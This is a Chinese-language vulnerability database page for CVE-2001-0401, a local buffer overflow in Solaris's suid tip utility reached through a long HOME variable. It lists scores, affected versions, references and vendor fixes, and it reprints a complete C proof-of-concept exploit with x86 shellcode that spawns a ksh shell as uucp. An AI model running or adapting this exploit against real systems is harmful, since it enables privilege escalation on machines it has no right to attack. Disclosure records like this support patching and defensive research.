CVE-2001-0401
CVSS7.2
发布时间 :2001-06-18 00:00:00
修订时间 :2009-07-21 16:46:14
NMCOES    

[原文]Buffer overflow in tip in Solaris 8 and earlier allows local users to execute arbitrary commands via a long HOME environmental variable.


[CNNVD]Solaris tip缓冲区溢出漏洞(CNNVD-200106-079)

        Solaris 8版本及之前版本的tip存在缓冲区溢出漏洞。本地用户可以借助超长HOME环境变量执行任意命令。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:sun:solaris:8.0
cpe:/o:sun:solaris:2.5
cpe:/o:sun:solaris:2.6
cpe:/o:sun:solaris:7.0
cpe:/o:sun:solaris:2.5.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0401
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0401
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200106-079
(官方数据源) CNNVD

- 其它链接及资源

http://archives.neohapsis.com/archives/bugtraq/2001-03/0394.html
(VENDOR_ADVISORY)  BUGTRAQ  20010327 Solaris /usr/bin/tip Vulnerability
http://xforce.iss.net/static/6284.php
(VENDOR_ADVISORY)  XF  solaris-tip-bo
http://www.securityfocus.com/bid/2475
(UNKNOWN)  BID  2475

- 漏洞信息

Solaris tip缓冲区溢出漏洞
高危 缓冲区溢出
2001-06-18 00:00:00 2009-07-21 00:00:00
本地  
        Solaris 8版本及之前版本的tip存在缓冲区溢出漏洞。本地用户可以借助超长HOME环境变量执行任意命令。

- 公告与补丁

        Vendor fixes available:
        Sun Solaris 2.6
        
        Sun Solaris 7.0
        
        Sun Solaris 8_x86
        
        Sun Solaris 2.6_x86
        
        Sun Solaris 8
        
        Sun Solaris 2.5
        
        Sun Solaris 7.0_x86
        
        Sun Solaris 2.5_x86
        
        Sun Solaris 2.5.1 _x86
        
        Sun Solaris 2.5.1
        

- 漏洞信息 (20684)

Solaris 2.5/2.6/7.0/8 tip Buffer Overflow Vulnerability (EDBID:20684)
solaris local
2001-03-27 Verified
0 Pablo Sor
N/A [点击下载]
source: http://www.securityfocus.com/bid/2475/info

tip is a utility included with Sun Microsystems Solaris Operating Environment. tip allows a user to establish a full duplex terminal connection with a remote host.

A problem with tip could lead to a buffer overflow. Due to the improper handling of environment variables by tip, it is possible to overflow a buffer in the program, and execute arbitrary code. The tip binary is suid uucp, and exploitation could lead to an euid of uucp.

Therefore, it is possible for a local user to execute arbitrary code, and gain an euid of uucp, with the potential of gaining privileges elevated to root.

#include <fcntl.h>

/*
   /usr/bin/tip overflow proof of conecpt.


   Pablo Sor, Buenos Aires, Argentina 03/2001
   psor@afip.gov.ar

   works against x86 solaris 7,8

   default offset should work.

*/


long get_esp() { __asm__("movl %esp,%eax"); }

int main(int ac, char **av)
{

char shell[]=
"\xeb\x0a\x9a\x01\x02\x03\x5c\x07\x04\xc3\xeb\x05"
"\xe8\xf9\xff\xff\xff\x5e\x29\xc0\x88\x46\xf7\x89\x46\xf2"
"\x50\xb0\x8d\xe8\xe0\xff\xff\xff\x6a\x05\x90\xb0\x17\xe8\xd6\xff\xff\xff"

"\xeb\x1f\x5e\x8d\x1e\x89\x5e\x0b\x29\xc0\x88\x46\x19\x89\x46\x14"
"\x89\x46\x0f\x89\x46\x07\xb0\x3b\x8d\x4e\x0b\x51\x51\x53\x50\xeb\x18"
"\xe8\xdc\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78\x01\x01\x01\x01\x02\x02"

"\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

  unsigned long magic = get_esp() + 0x50;  /* default offset */
  unsigned char buf[600];

  symlink("/bin/ksh","/tmp/xx");
  memset(buf,0x90,600);
  buf[599]=0;
  memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));
  memcpy(buf,"HOME=",5);
  memcpy(buf+265,&magic,4);
  putenv(buf);

  system("/usr/bin/tip 5");
  unlink("/tmp/xx");
}

		

- 漏洞信息

8682
Solaris tip HOME Environement Variable Local Overflow
Local Access Required Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2001-03-27 Unknow
2001-03-27 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Solaris tip Buffer Overflow Vulnerability
Boundary Condition Error 2475
No Yes
2001-03-27 12:00:00 2009-07-12 05:56:00
This vulnerability was discovered by Pablo Sor, and was announced to Bugtraq on March 27, 2001.

- 受影响的程序版本

Sun Solaris 2.5.1 _x86
Sun Solaris 2.5.1
Sun Solaris 8_x86
Sun Solaris 8_sparc
Sun Solaris 7.0_x86
Sun Solaris 7.0
Sun Solaris 2.6_x86
Sun Solaris 2.6
Sun Solaris 2.5_x86
Sun Solaris 2.5

- 漏洞讨论

tip is a utility included with Sun Microsystems Solaris Operating Environment. tip allows a user to establish a full duplex terminal connection with a remote host.

A problem with tip could lead to a buffer overflow. Due to the improper handling of environment variables by tip, it is possible to overflow a buffer in the program, and execute arbitrary code. The tip binary is suid uucp, and exploitation could lead to an euid of uucp.

Therefore, it is possible for a local user to execute arbitrary code, and gain an euid of uucp, with the potential of gaining privileges elevated to root.

- 漏洞利用

Exploit available:

- 解决方案

Vendor fixes available:


Sun Solaris 2.6

Sun Solaris 7.0

Sun Solaris 8_x86

Sun Solaris 2.6_x86

Sun Solaris 8_sparc

Sun Solaris 2.5

Sun Solaris 7.0_x86

Sun Solaris 2.5_x86

Sun Solaris 2.5.1 _x86

Sun Solaris 2.5.1

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站